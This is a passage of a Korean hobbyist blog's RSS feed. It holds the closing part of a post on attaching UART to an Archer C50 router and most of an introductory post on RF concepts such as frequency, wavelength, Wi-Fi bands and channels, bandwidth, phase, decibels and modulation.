this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2880&quot; height=&quot;2160&quot; data-origin-width=&quot;2880&quot; data-origin-height=&quot;2160&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;컴퓨터랑 uart를 연결한 모습&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot; data-start=&quot;1248&quot; data-end=&quot;1339&quot;&gt;&lt;b&gt;7. 마무리&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;이번 글에서는 UART에 대해서 알아보았다. 이번 글을 작성하면서 UART연결을 처음 해봤는데 납땜을 하다가 실수를 하여서 RX핀이 망가져 셸에 입력을 하는 것은 실패하였다.ㅏㅏㅏ 다음 글에서는 (만약 무선 라우터를 구할 수 있다면) 라우터 내부 분석 글을 쓰고 아니면 지금 UART를 연결한 Archer c50에 openwrt를 올리는 글을 작성해보겠다. (아니면 무선 통신에 대한 글을 올릴 수도 있따.)&lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;reference:&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.digikey.com/en/maker/tutorials/2023/what-is-serial-communication-and-how-does-it-compare-to-parallel&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://www.digikey.com/en/maker/tutorials/2023/what-is-serial-communication-and-how-does-it-compare-to-parallel&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://learn.sparkfun.com/tutorials/serial-communication#wiring-and-hardware&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://learn.sparkfun.com/tutorials/serial-communication#wiring-and-hardware&lt;/a&gt;&lt;/p&gt;</description>
      <category>Embedded</category>
      <author>haehet</author>
      <guid isPermaLink="true">https://haehet.tistory.com/32</guid>
      <comments>https://haehet.tistory.com/32#entry32comment</comments>
      <pubDate>Wed, 13 May 2026 20:05:19 +0900</pubDate>
    </item>
    <item>
      <title>무선 통신의 기초 - RF(Radio Frequency) 정리</title>
      <link>https://haehet.tistory.com/31</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;최근에 무선통신 보안등에 관심이 생겨서 무선 통신을 공부해보고자 한다. 사실 LTE 라우터가 왔으면 직접 모뎀을 제어하는 바이너리(mobile 어쩌구)을 디버깅하면서 공부하려고 했는데... 라우터를 사다가 사기를 당해서 먼저 무선통신의 기초부터 정리를하겠다. (라우터 재고가 떨어져서 3주 뒤에나 받을듯..하ㅏㅏㅏㅏ)&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;1. 무선통신이란?&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;우리가 기존에 사용하는 네트워크는 유선을 통해 통신한다. 유선 통신은 빠른 통신과 신뢰성, 보안성을 제공하지만 이동성을 제한한다는 단점이 있다. 무선통신은 이러한 단점을 없애고 별도의 케이블이 필요없는(Wire less)한 통신을 제공한다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;무선 통신은 &lt;b&gt;무선 주파수 신호(Radio Frequency signals, 앞으로 RF로 통칭)&lt;/b&gt;을 사용하여 사용자로 하여금 기동성과 편의성을 얻을 수 있게 해준다. 또한 사용자들에게 한번에 많은 장치의 접속을 허용해주고 케이블과 포트의 제한으로부터 해방시켜준다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;506&quot; data-origin-height=&quot;310&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4Bcjt/dJMcahj2DAP/QUaQHu7ZfuKOh73kLgF7dK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4Bcjt/dJMcahj2DAP/QUaQHu7ZfuKOh73kLgF7dK/img.jpg&quot; data-alt=&quot;Wireless network의 구조&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4Bcjt/dJMcahj2DAP/QUaQHu7ZfuKOh73kLgF7dK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4Bcjt%2FdJMcahj2DAP%2FQUaQHu7ZfuKOh73kLgF7dK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;506&quot; height=&quot;310&quot; data-origin-width=&quot;506&quot; data-origin-height=&quot;310&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Wireless network의 구조&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 위에서 설명한 무선통신이 항상 좋은 것은 아니다. 공개된 장소에서 통신을 하기 때문에 보안성이 낮아진다. 또한 신뢰성이나 속도 등이 유선 통신에 비해 낮다.&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2. 전파와 RF 신호의 이해&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;유선통신에서 데이터는 전기적 신호로 변환되어서 케이블로 이동한다. 케이블은 전도성이 있기 때문에 신호가 빛의 속도 (c = 3 *10 ^ 8 m/s)로 이동한다. 이는 광케이블에서도 마찬가지이다. 유선통신은 무선통신과 다르게 케이블이 없기 때문에 (무선이니까 당연히 없다 ㅋㅋ) 대신에 &lt;b&gt;Radio waves(전파)&lt;/b&gt;를 이용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;전자기파란?&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;전파에 대해 알아보기 전에 먼저 전자기파에 대해 알아보자. &lt;b&gt;전자기파(Electromagnetic Wave)란 공간에서 전기장과 자기장이 서로 유도하며 주기적으로 진동해 파동 형태로 퍼져나가는 에너지를 말한다.&amp;nbsp;&lt;/b&gt;(계속 서로 유도되는 이유는 페러데이 법칙이랑, 맥스웰-앙페르 법칙을 보면 그 이유를 알 수 있다.)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;627&quot; data-origin-height=&quot;522&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bqxKlo/dJMcabxiCBK/mOCUtLFyeFN5K2buDnxQe0/img.gif&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bqxKlo/dJMcabxiCBK/mOCUtLFyeFN5K2buDnxQe0/img.gif&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bqxKlo/dJMcabxiCBK/mOCUtLFyeFN5K2buDnxQe0/img.gif&quot; srcset=&quot;https://blog.kakaocdn.net/dn/bqxKlo/dJMcabxiCBK/mOCUtLFyeFN5K2buDnxQe0/img.gif&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;627&quot; height=&quot;522&quot; data-origin-width=&quot;627&quot; data-origin-height=&quot;522&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; 전자기파는 매질이 없어도 전파될 수 있다. 소리처럼 공기나 물 같은 매질을 반드시 필요로 하지 않기 때문에 진공 상태의 우주 공간에서도 이동할 수 있다. 빛이 태양에서 지구까지 도달할 수 있는 것도 빛이 전자기파의 한 종류이기 때문이다. &lt;b&gt;전파&amp;nbsp;&lt;/b&gt;또한 이런 전자기파의 한 종류이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;주파수와 파장이란?&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;(지금 설명하고 있는 내용들은 고등학교 교육과정 (물리 1, 2에서 봤던 것 같은데 2022 개정 교육과정 물리에는 없는 듯?)에 있는 내용들이지만 후술할 내용들의 이해를 위해 넣겠다.. )&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저&lt;b&gt; frequency(주파수, 진동수)란 파동이 1초동안 진동하는 횟수를 말한다. (단위는 Hz를 쓴다.)&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;455&quot; data-origin-height=&quot;130&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/n4Cum/dJMcahdeDTr/nxsguRlSlWAd0l0R7DtaU0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/n4Cum/dJMcahdeDTr/nxsguRlSlWAd0l0R7DtaU0/img.jpg&quot; data-alt=&quot;주파수란?&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/n4Cum/dJMcahdeDTr/nxsguRlSlWAd0l0R7DtaU0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fn4Cum%2FdJMcahdeDTr%2FnxsguRlSlWAd0l0R7DtaU0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;650&quot; height=&quot;186&quot; data-origin-width=&quot;455&quot; data-origin-height=&quot;130&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;주파수란?&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음으로&amp;nbsp;&lt;b&gt;Wavelength(파장)이란 파동이 1번 진동하는 동안 움직이는 거리를 말한다.&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;433&quot; data-origin-height=&quot;98&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uqFWG/dJMcagk44TU/Yh09RQ5VYT811eTxqZhPNK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uqFWG/dJMcagk44TU/Yh09RQ5VYT811eTxqZhPNK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uqFWG/dJMcagk44TU/Yh09RQ5VYT811eTxqZhPNK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FuqFWG%2FdJMcagk44TU%2FYh09RQ5VYT811eTxqZhPNK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;650&quot; height=&quot;147&quot; data-origin-width=&quot;433&quot; data-origin-height=&quot;98&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;RF 신호를 이해할 때 중요한 요소 중 하나는 주파수와 파장의 관계이다. RF 파동은 진공에서는 빛의 속도와 같은 속도로 이동하며 공기 중에서도 거의 비슷한 속도로 이동한다. 따라서 무선 통신에서는 보통 전자기파의 속도를 c &amp;asymp; 3 &amp;times; 10^8 m/s로 근사해서 계산한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;주파수 대역과 주파수 채널&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현실에는 매우 큰 범위의 주파수 대역이 있다. 우리는 이걸 주파수 스펙트럼이라고 부른다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;602&quot; data-origin-height=&quot;139&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bL9q0V/dJMcabKTPdX/SLEhwLmQzdjb4FutUqKPMk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bL9q0V/dJMcabKTPdX/SLEhwLmQzdjb4FutUqKPMk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bL9q0V/dJMcabKTPdX/SLEhwLmQzdjb4FutUqKPMk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbL9q0V%2FdJMcabKTPdX%2FSLEhwLmQzdjb4FutUqKPMk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;650&quot; height=&quot;150&quot; data-origin-width=&quot;602&quot; data-origin-height=&quot;139&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주파수 스펙트럼은 유한하며 특정 대역대에 적합한 기능들이 존재한다. 예를 들어 88MHZ ~ 108MHZ는 FM radio에 적합하다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;같은 목적을 위해 사용되는 연속적인 주파수 범위를 &lt;/span&gt;&lt;/b&gt;&lt;b&gt;주파수 대역(frequency band)&lt;/b&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;이라고 한다. 예를 들어 AM 라디오 방송국은 530kHz부터 약 1710kHz까지의 주파수를 사용한다. 지상파 TV 방송은 300MHz에서 700MHz 사이의 주파수 범위를 사용하며, 이처럼 용도에 따라 서로 다른 주파수 대역이 사용된다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;80&quot; data-start=&quot;0&quot; data-ke-size=&quot;size16&quot;&gt;Wi-Fi에는 전 세계적으로 대체로 동일하게 사용되는 세 가지 주파수 대역이 할당되어 있다.&amp;nbsp;&lt;/p&gt;
&lt;div&gt;-&amp;nbsp;2.4GHz&amp;nbsp;대역:&amp;nbsp;2.4GHz&amp;nbsp;~&amp;nbsp;2.4835GHz &lt;br /&gt;- 5GHz 대역: 5.15GHz ~ 5.825GHz&lt;br /&gt;- 6GHz 대역: 5.925GHz ~ 7.125GHz&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div data-turn-start-message=&quot;true&quot; data-message-model-slug=&quot;gpt-5-5-thinking&quot; data-message-id=&quot;b2cae45f-f7e5-43fc-ad8a-e80201570485&quot; data-message-author-role=&quot;assistant&quot;&gt;
&lt;div&gt;
&lt;div&gt;
&lt;p data-end=&quot;370&quot; data-start=&quot;240&quot; data-ke-size=&quot;size16&quot;&gt;주파수 대역은 &lt;b&gt;채널(channel)&lt;/b&gt;이라고 하는 더 작은 단위로 나뉜다. 각 채널은 번호를 가지고 있으며, 특정 주파수에 할당된다. 채널이 국가 또는 국제 표준에 의해 정의되면, 여러 지역에서 동일한 방식으로 사용할 수 있다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;322&quot; data-origin-height=&quot;109&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/TzSeP/dJMcaipGx7f/chMRcYnsMuNO80iythAdbk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/TzSeP/dJMcaipGx7f/chMRcYnsMuNO80iythAdbk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/TzSeP/dJMcaipGx7f/chMRcYnsMuNO80iythAdbk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTzSeP%2FdJMcaipGx7f%2FchMRcYnsMuNO80iythAdbk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;203&quot; data-origin-width=&quot;322&quot; data-origin-height=&quot;109&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-end=&quot;370&quot; data-start=&quot;240&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;511&quot; data-start=&quot;372&quot; data-ke-size=&quot;size16&quot;&gt;예를 들어 다음 그림은 무선 LAN에서 사용되는 2.4GHz 대역의 채널을 보여준다. 2.4GHz 대역에는 총 14개의 채널이 있으며 각 채널은 고유한 주파수를 가진다. 각 채널은 일정한 간격으로 떨어져 있다. 이러한 간격을 &lt;b&gt;채널 분리(channel separation)&lt;/b&gt;라고 한다.&lt;/p&gt;
&lt;p data-end=&quot;511&quot; data-start=&quot;372&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;대역폭(Bandwidth)&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;RF 신호는 하나의 주파수에만 딱 맞춰 존재하지 않는다. RF신호는 중심 주파수를 기준으로 주변 주파수 대역까지 함께 차지한다. &lt;span style=&quot;letter-spacing: 0px;&quot;&gt;여기서 &lt;/span&gt;&lt;b&gt;중심 주파수(center frequency)&lt;/b&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;는 해당 채널이 전체 주파수 대역 안에서 어느 위치에 있는지를 결정한다. &lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;그리고 신호가 실제로 사용하는 주파수의 범위를 &lt;/span&gt;&lt;b&gt;대역폭(bandwidth)&lt;/b&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;이라고 한다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;596&quot; data-origin-height=&quot;224&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bjpCZG/dJMcaiQIg66/sNTj1lWYCoNRPNokxw0WuK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bjpCZG/dJMcaiQIg66/sNTj1lWYCoNRPNokxw0WuK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bjpCZG/dJMcaiQIg66/sNTj1lWYCoNRPNokxw0WuK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbjpCZG%2FdJMcaiQIg66%2FsNTj1lWYCoNRPNokxw0WuK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;650&quot; height=&quot;244&quot; data-origin-width=&quot;596&quot; data-origin-height=&quot;224&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;위상(Phase)&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;위상(Phase)은 같은 주파수를 가진 두 파형이 서로 얼마나 어긋나 있는지를 나타내는 개념이다.&lt;/b&gt; 하나의 파동 주기는 360도로 표현되며 두 신호의 봉우리와 골짜기가 얼마나 맞물리는지를 각도로 나타낼 수 있다. &lt;br /&gt;&lt;br /&gt;무선 환경에서는 여러 RF 신호가 같은 공간에 동시에 존재할 수 있다. 이때 신호들이 서로 겹치면 간섭이 발생한다. 두 파형이 비슷한 방향으로 겹치면 신호가 강해질 수 있고 반대로 서로 어긋나 겹치면 신호가 약해지거나 왜곡될 수 있다. &lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;294&quot; data-origin-height=&quot;197&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/VWAsz/dJMcagelgrg/NyHikwOih1jDSBg8nH4A7k/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/VWAsz/dJMcagelgrg/NyHikwOih1jDSBg8nH4A7k/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/VWAsz/dJMcagelgrg/NyHikwOih1jDSBg8nH4A7k/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FVWAsz%2FdJMcagelgrg%2FNyHikwOih1jDSBg8nH4A7k%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;400&quot; height=&quot;268&quot; data-origin-width=&quot;294&quot; data-origin-height=&quot;197&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;3. &lt;span&gt;RF 신호의 세기&lt;/span&gt;&lt;br /&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번에는 RF 신호의 세기를 측정하는 방법들에 대해 알아보겠다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;진폭(Amplitude)이란?&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&amp;nbsp;진폭(Amplitude)란 파동이 기준선에서 얼마나 크게 흔들리는지를 나타낸다.&lt;/b&gt; 진폭이 크면 일반적으로 더 강한 신호를 의미하고, 진폭이 작으면 약한 신호를 의미한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;469&quot; data-origin-height=&quot;132&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c1LlI0/dJMcaf7xnis/r3KoIRQqeQxAuue4SB4LtK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c1LlI0/dJMcaf7xnis/r3KoIRQqeQxAuue4SB4LtK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c1LlI0/dJMcaf7xnis/r3KoIRQqeQxAuue4SB4LtK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc1LlI0%2FdJMcaf7xnis%2Fr3KoIRQqeQxAuue4SB4LtK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;650&quot; height=&quot;183&quot; data-origin-width=&quot;469&quot; data-origin-height=&quot;132&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&amp;nbsp;다만 무선 통신에서는 신호 세기를 단순히 진폭만으로 표현하기보다는 전력(Power) 개념으로 다루는 경우가 많다. &lt;b&gt;이런 신호의 세기는 데시벨(dB)을 통해 나타낸다. 데시벨(dB)은 신호의 세기를 측정하는 데 사용되는 로그 단위이다.&amp;nbsp;&lt;/b&gt;다음과 같은 수식을 통해 계산가능하다. (사용로그의 밑은 굳이 생략 안했따.)&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;dB = 10 &amp;times; (log10(Power2) - log10(Power1)), (power1: 수신전력, power2: 송신전력)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;* dBi, EIRP, link budget처럼 더 세부적인 무선 출력 계산 개념도 있지만 여기서는 다루지 않겠다. (글이 너무 길어지기도 하고, 귀찮다..)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;4. RF 신호를 이용한 데이터 전송 &lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&amp;nbsp;무선 통신에서 데이터는 전파에 그대로 실리는 것이 아니다. 송신기는 특정 주파수의 &lt;b&gt;반송파(carrier)&lt;/b&gt;를 만들고 이 반송파의 &lt;b&gt;진폭, 주파수, 위상 같은 특성을 변화시켜 정보를 표현한다&lt;/b&gt;. 이러한 과정을 &lt;b&gt;변조(modulation)&lt;/b&gt;라고 한다.&lt;/span&gt;&lt;/p&gt;
